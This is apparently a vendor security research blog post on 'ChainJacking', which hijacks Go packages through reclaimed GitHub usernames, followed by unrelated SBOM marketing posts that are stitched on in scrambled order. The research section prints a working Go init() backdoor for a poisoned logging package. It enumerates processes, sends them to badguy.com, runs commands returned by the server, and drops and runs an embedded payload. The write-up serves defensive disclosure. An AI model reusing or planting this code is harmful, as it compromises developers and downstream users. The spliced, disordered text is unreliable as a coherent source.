Joint research between Checkmarx and Intezer points to ChainJacking, a new type of software supply chain attack that could be potentially exploited by threat actors and puts common admin tools at risk.

We have identified a number of open-source Go packages that are susceptible to ChainJacking given that some of these vulnerable packages are embedded in popular admin tools.

The nature of transitive trust between open-source security (OSS) makes this technique highly difficult to defend at the developer level using open-source software. To help the infosec community protect itself against this type of attack, we developed an open-source tool that can be used to scan source code and detect if packages downloaded from GitHub and other sources are vulnerable. You can also scan the binaries of any program in Intezer Analyze to make sure they don’t contain vulnerable packages or ChainJacking vulnerable Git repositories.

Intro

An attacker slipping through the cracks between the designs of GitHub and Go Package Manager could allow them to take control over popular Go packages, poison them, and infect both developers and users.

Go build tools provide an easy way for developers to download and use open-source libraries in their projects. Compared to other languages such as Python and Rust, Go doesn’t use a central repository where libraries can be downloaded from. Instead, the Go tooling pulls code packages straight from version control systems such as GitHub*.

(*Note: We are focusing on Go but other package managers like NPM also allow code pulling from version control systems and are therefore susceptible to this kind of attack as well.)

GitHub is the largest source-code repository on the internet, with the majority of Go packages hosted on it. One feature GitHub provides is allowing users to change usernames.

The change of username process is quick and simple. A warning lets you know that all traffic for the old repository’s URL will be redirected to the new one.

What GitHub does not mention in this alert is an important implication that it listed in its documentation:

“After changing your username, your old username becomes available for anyone else to claim”

An attacker can easily claim the abandoned username and start serving up malicious code to anyone who downloads the package, essentially relying on the credibility gained by its former owner. Doing so in a Go package repository could result in a chain reaction that substantially widens the code distribution and infects large numbers of downstream products.

First, let’s lay out the blueprint for this relatively simple yet potentially catastrophic attack vector.

Direct ChainJacking

Let’s give an example scenario. A developer named Annastacia opens a GitHub account under the username “Annastacia.” She then publishes a useful Go package in a repository under the name “useful.” Anyone who wants to use this package can either download and install it via “go get github.com/Annastacia/useful,” or import it into their code via “import github.com/Annastacia/useful.” This action will add an entry to the “go.mod” file, allowing the tooling provided by Go to easily update the package when new versions are released.

Some time has gone by and thanks to its usefulness, the package has become popular. Annastacia decides that she wants a shorter name for her repository and with just a few clicks she changes her GitHub username to “Anna.” Subsequently, two things will happen:

1.      The username “Annastacia” is now available to be registered by anyone else.

2.      All requests for “github.com/Annastacia/useful” are now redirected to “github.com/Anna/useful.” All current packages using github.com/Annastacia/useful can still use it as before, so nothing breaks and there are no user complaints as of yet**.

(**Note: Given that the owner dealt with the Go module configuration the right way.)

If a malicious actor manages to claim this “Annastacia” username, they can then publish their own malicious code under the repository name “useful.” This action breaks the redirect to “Anna/useful” and GitHub now serves the threat actor’s malicious code from “github.com/Annastacia/useful,” which could compromise anyone using the old URL.

The concept is rather simple. Now, every new installation of this package can potentially infect the installing developer’s machine. Even more potentially damaging, any new package or third-party product written in the future which depends on this infected package will also cause infections on any machine it is installed on.

Meet go.mod & go.sum

In the attack scenario described above, the victim’s machine is infected by directly calling for the poisoned package. This is assuming the victim called Annastacia’s old repository URL and not the new one. As previously mentioned, a successful attack can also occur when the poisoned package is called indirectly, as a dependency of another package, preferably a popular one. However, this kind of attack raises new difficulties for the attacker.

Dependencies in a Go project are managed by two files: go.mod and go.sum. The go.mod file holds a complete list of the module’s dependencies and their versions, while the go.sum file holds a complete list of the module’s dependencies, their versions, and a checksum of the package. Looking at this from the viewpoint of an attacker, if an attacker manages to take control over a package (found in the go.mod and go.sum files of a popular package) and poison it while leaving it in the same version, the attack will fail because of a checksum mismatch***.

(***Note: It will most likely fail even before this point because Go tooling will pull the cached package and not access the poisoned repository.)

Hence, for an attack to succeed, they must publish a new version of the package and in some way, lure the owner of the package to update its dependencies. This is a significant challenge for the attacker with the obvious solution being a manual pull request, or, in case the Github repository is configured that way, an automatic pull request from GitHub’s dependabot.

We believe that ChainJacking has the potential to cause damage equivalent to the attack on SolarWinds, since some of the vulnerable Go packages we found are used as dependencies in popular admin tools designed to run with high privileges.

Intezer Analyze result, indicating the presence of a vulnerable package’s code in popular admin tools.

Let’s look at a practical example

Let’s look at a commonly used open-source library and show what could happen if it was susceptible to a take-over. A popular third-party logging package is called Logrus (github.com/sirupsen/logrus). If this package is vulnerable, it can be used to inject malicious code into any applications compiled with the “old” repository. In this mock scenario, in addition to code provided by Go standard library, we are also using the third-party package github.com/mitchellh/go-ps. This package allows for enumerating the running processes on the machine and is platform independent. The package has been used by multiple malware written in Go. Also, we can use go-binddata to embed an alternative payload.

The following code was added to the end of one of the files in the package. First, a new init function was created. Go allows for multiple init functions to exist in the same package. All init functions are executed before the main function is executed in a non-deterministic order.

func init() {
    if ok := collectData(); !ok {
   	 writeAndExecute()
    }
}

func collectData() bool {
    p, err := ps.Processes()
    if err != nil {
   	 return false
    }

    var d []string
    for _, v := range p {
   	 d = append(d, v.Executable())
    }

    buf := base64.RawURLEncoding.EncodeToString([]byte(strings.Join(d, "|")))

    resp, err := http.Get(fmt.Sprintf("https://badguy.com/?s1=%s", buf))
    if err != nil {
   	 return false
    }
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
   	 return false
    }

    data := struct {
   	 Code int
   	 Cmd  string
   	 Args []string
    }{}

    err = json.Unmarshal(body, &data)
    if err != nil {
   	 return false
    }

    if data.Code != 0x1337 {
   	 return false
    }

    cmd := exec.Command(data.Cmd, data.Args...)
    cmd.Start()
    return true
}

func writeAndExecute() {
    var buf []byte
    if runtime.GOOS == "windows" {
   	 b, err := bindataPayloadExeBytes()
   	 if err != nil {
   		 return
   	 }
   	 buf = b
    } else if runtime.GOOS == "linux" {
   	 b, err := bindataPayloadElfBytes()
   	 if err != nil {
   		 return
   	 }
   	 buf = b
    } else {
   	 return
    }

    f, err := ioutil.TempFile("", "")
    if err != nil {
   	 return
    }

    _, err = f.Write(buf)
    if err != nil {
   	 return
    }

    if runtime.GOOS == "linux" {
   	 err = f.Chmod(0755)
   	 if err != nil {
   		 panic(err)
   	 }
    }

    err = f.Sync()
    if err != nil {
   	 return
    }

    name := f.Name()

    err = f.Close()
    if err != nil {
   	 return
    }

    cmd := exec.Command(name)
    cmd.Start()
    time.Sleep(10 * time.Second)
}

The injected code uses common techniques used by other malware written in Go. It performs a process enumeration which is sometimes performed by malware to determine if it is executed in a sandbox or being analyzed. Another feature of the code is to perform data exfiltration of base64 encoded data. Command execution is simulated by allowing the Command and Control (C2) server to send a command to be executed by the injected code. Finally, an alternative payload is embedded, allowing the injected code to behave as a dropper. The same resource embedding library has been used by malware in the past.

If we build another application whose dependency uses the vulnerable repository, the modified logging package is included in the final binary. If we analyze the binary with Intezer Analyze, we can see that it has detected 14 unique code genes.

We can confirm that the unique genes are indeed part of the malicious code that we injected because we can see this section of code is located in the collectData function.

GitHub Mitigation

In an effort to address this issue and similar ones, GitHub introduced “Popular repository namespace retirement.” This measure should ensure that attacks such as ChainJacking won’t be possible on popular code packages that might have a substantial impact. To do that, GitHub “retires the namespace of any open-source project that had more than 100 clones in the week leading up to the owner’s account being renamed or deleted.”

Mitigation Recommendations

The good news is that while ChainJacking has the potential to cause incidents with severe widespread effects, it can also be mitigated relatively simply. Combining Checkmarx and Intezer’s technologies, we were able to recognize the possible source of the attack at the code level while also identifying the impact of this attack vector at the application level.

1. To help detect vulnerable packages in your dependency tree, we are releasing an open-source tool on GitHub. We invite you to check it out and consider incorporating it into your development or build pipeline.
2. Scan software releases for tampering and backdoors before delivering to customers or deploying to production. Learn more about how Intezer can help you release your software with peace of mind.
3. Checkmarx monitors packages that can be taken over and alerts the ecosystem (including Go and GitHub) in case a suspicious activity is detected. That means that Checkmarx customers are automatically protected from ChainJacking.

What’s Next?

Software supply chain attacks are on the rise because they can be  difficult to detect and have the potential for widespread impact. ChainJacking described in this research provides attackers with new infection opportunities and further adds to the challenges companies face when securing the software supply chain.

To clearly demonstrate the potential outcome of such an attack, we showed the direct link between a real-life vulnerable package and popular admin tools intended to run with high privileges. While we have found no evidence of attackers using ChainJacking in the wild at this moment, the potential damage of an exploitation of this kind could be compared to the recent attacks against Kaseya and SolarWinds.

Disclosure Timeline

• 5 Nov 21 – Full report sent to Golang Security Team
• 8 Oct 21 – Full report sent to GitHub
• 8 Oct 21 – GitHub acknowledge receiving the report
• 10 Nov 21 – Golang Security Team confirms there is problem, but not one that they can fix
• 20 Oct 21 – GitHub asked for clarifications
• 20 Oct 21 – Clarifications sent together with a PoC video
• 30 Oct 21 – GitHub responded indicating that this is a known behavior and referenced to Popular repository namespace retirement
• 16 Nov 21 – Full disclosure

Dr. Joakim Kennedy, Security Researcher, Intezer

Another Caveat

The next caveat to consider is that SBOM reports should follow a standard format that includes detailed information about each involved component. At a minimum, it needs to give the component’s name, supplier name, version, hashes and other unique identifiers, dependency relationship, author of SBOM data, and a timestamp. The report also needs to cover every software modification and update to reflect the current status of the project. An SBOM report is best accomplished using an automated process that is integrated into your CI/CD pipeline.

SBOM Methodology That Actually Enhances Security

The first and most fundamental task in generating an SBOM is analyzing the software dependencies, which is a natural undertaking for software composition analysis (SCA) solutions such as Checkmarx SCA. However, the ultimate purpose of an SBOM is not just providing a list of ingredients, but to identify potential risk. A standard SBOM provides a list of ingredients but no simple way to detect and measure risks associated with third-party dependencies. So, what else do you need to enhance software security? Simple: vulnerability and license risk information.

To meet the need for a more comprehensive SBOM, Checkmarx SCA leverages our existing infrastructure for identifying vulnerabilities, in addition to license and supply chain risks, to supplement the standard SBOM info. This creates an SBOM that provides valuable insight into the risks associated with your third-party components instead of just a list of ingredients. This methodology exceeds the requirements for what a simple SBOM contains.

The SBOM reports generated from Checkmarx SCA use the existing CycloneDX SBOM format, and SPDX and SWID formats will be added soon. The reports also provide additional “property” fields showing important risk data that organizations need to know about. The reports can be exported in XML or JSON format, making them easy for organizations to consume, track, and update.

How to Generate an SBOM from Checkmarx SCA

Using the Checkmarx SCA User Interface

• Navigate to the Scan Results screen for the most recent scan of the desired project.
• Click on the “SBOM” button. The SBOM configuration dialog is shown below:

• Select the SBOM standard. Currently, only CycloneDX is available.
• Select the output format: XML or JSON.
• Click “Generate SBOM.”

The SBOM report will be downloaded and can be viewed on any standard XML/JSON viewers.

How to Add CI/CD Integration

Checkmarx SCA provides plugins and CLI tools for various CI/CD pipelines. One method for running Checkmarx SCA scans via CLI commands is the CxSCA Resolver, which is an on-premises utility for resolving and extracting dependencies. The following section describes how to export SBOM reports using the CxSCA Resolver.

How to Generate SBOM Using SCA Resolver

An SBOM report can be exported via the CxSCA Resolver CLI using –report-extension and report-type arguments.

Example:

“./ScaResolver -s /home/jack/src/MyApp -n MyApp -a Checkmarx -u jack -p ‘demo123!’ –report-extension Xml / Json –report-type CycloneDx”

SBOM Content

Below is a view of the SBOM content, which is part of the SBOM Checkmarx SCA generates.

The standard SBOM fields are ID (purl), Component Name, Version, License, and Hashes. All of these are included in every Checkmarx SCA SBOM as required fields.

In addition, we add a Properties section with extended information  about the risks associated with each library.

SBOM Component Dependencies

Below is a view of the component dependencies, which is part of the SBOM Checkmarx SCA generates.

Each component contains its dependent components, and each dependency section contains a set of required fields and a Properties section.

Conclusion

Checkmarx is dedicated to helping organizations secure the software they develop, one line of code at a time. In response to the proliferation of open source usage, recent supply chain attacks, and the executive order mentioned in the previous post, you can use Checkmarx SCA to easily create and maintain an SBOM of your own. Plus, you’ll get real-time risk data about the open source found in your codebase to help you manage your own risk better.

In the next blog in this SBOM/Software Supply Chain series, we’ll discuss the top three software supply chain risks you need to know about.  

To see an SBOM being created live, don’t hesitate to request a demo.

Download our Ultimate Guide to SCA Here.

In this same way, it’s important to know what’s in your software before using it, so you know its ingredients are safe for your organization to consume. Since most software today is made up of open source components, combined with proprietary code (e.g., business logic) that makes everything work, having a list of all open source ingredients in the software you consume allows your organization to manage risk more effectively.

Therefore, leaning on what the manufacturing industry calls a “bill of materials” (BOM), we have the software BOM, or SBOM. An SBOM contains an accurate list of all open source software ingredients found in a software-based product. With this in mind—and due to a number of recent and notorious open source supply chain attacks drawing the attention of security experts, industry advocates, and even the US federal government—the current administration decided to act with regard to SBOMs.

On May 12, 2021, President Biden issued Executive Order 14028, “Improving the Nation’s Cybersecurity,” which states: “The term ‘Software Bill of Materials’ or ‘SBOM’ means a formal record containing the details and supply chain relationships of various components used in building software. Software developers and vendors often create products by assembling existing open source and commercial software components.”

Security experts agree that an initial step toward the EO’s goal of enhancing software supply chain security is transparency, and an SBOM is now required for anyone selling software to the US federal government and its agencies. So, do organizations that develop their own software in-house, to be used solely to support their own operations, need SBOMs for their own applications? The answer is likely yes.

Why an SBOM for the Software You Develop Makes Sense

In the past, organizations that developed their own software applications primarily did it in-house. Developers and security teams knew the origins of the core components that made up their applications and had full control over the recipe, so to speak. However, this model is no longer acceptable to most organizations, primarily due to time-to-market demands. Management and customers alike expect faster and more frequent releases/updates thanks to their familiarity with some of the media and retail giants that update their applications and release new builds on a daily basis—if not more frequently.

This rapid-release capability is largely owed to more organizations integrating significant amounts of open source into their application stacks. Due to this move, the open source supply chain, community, and contributors are expanding exponentially. Even a weekly build might pull in loads of open source components that may have been updated by the community since the last version in use, and if developers and security teams don’t allow the updates to be performed within their own applications, they will be deploying builds with potentially known vulnerabilities. If any of your applications import libraries from NPM, Maven Central, or any other registry, then you are using open source in your codebase.

If you have complete knowledge of what open source “ingredients” are required to build or compile the applications your organization relies on, then you can mitigate a number of risks when trying to improve the security of your applications. Therefore, if a new vulnerability (e.g., CVE) is issued, you can confirm if you are affected by comparing known vulnerable versions against your existing SBOM. If you have matches, you can quickly determine which issues must be resolved before the next build is released.

Ultimately, having a better view of the open source that your applications depend on will give you a clear view of your own vulnerabilities and associated risks. However, there are quite a few caveats concerning SBOMs that you should be aware of. The first is as follows.

SBOMS Are Not Spreadsheets

Generating an SBOM report may sound relatively simple, but in most cases, it’s not. As you likely know, modern software projects make use of a long list of third-party open source packages, each of which often calls on many other packages as dependencies. This can create an extensive tree of dependencies being used by your software in the form of direct dependencies, dependencies of dependencies, and so on. Simply put, trying to create and manage an SBOM using a spreadsheet is nearly impossible, and if you attempt to manage your open source usage in this fashion, it will likely get out of hand very quickly. 

At the end of the day, SBOMs just make sense. Understanding your own risk profile and doing everything possible to effectively manage and reduce your organization’s risk falls into the realm of due care, which is defined as, “the standard of care a reasonable person would exercise in the same situation or under similar circumstances.” If due care is not being upheld, then your organization, your developers, and your security teams could be viewed as negligent.

In the next blog in this SBOM/Software Supply Chain series, we’ll discuss what an SBOM report should include and highlight the easiest approach to generating a high-quality SBOM report using Checkmarx Software Composition Analysis (CxSCA) solution  .

To see an SBOM being created live, don’t hesitate to request a demo here.

To learn more, don’t forget to join our Technical Meetup Series to dive into topics like SBOM and open source libraries. Checkmarx experts Alex Cohen, James Brotsos, and I will walk you through security vulnerabilities you might not even know you had. We’ll also discuss the latest industry trends and application security best practices. It’ll be an interactive discussion, so bring your questions and pick our brains about how to improve your processes.

Download Our Ultimate Guide to SCA Here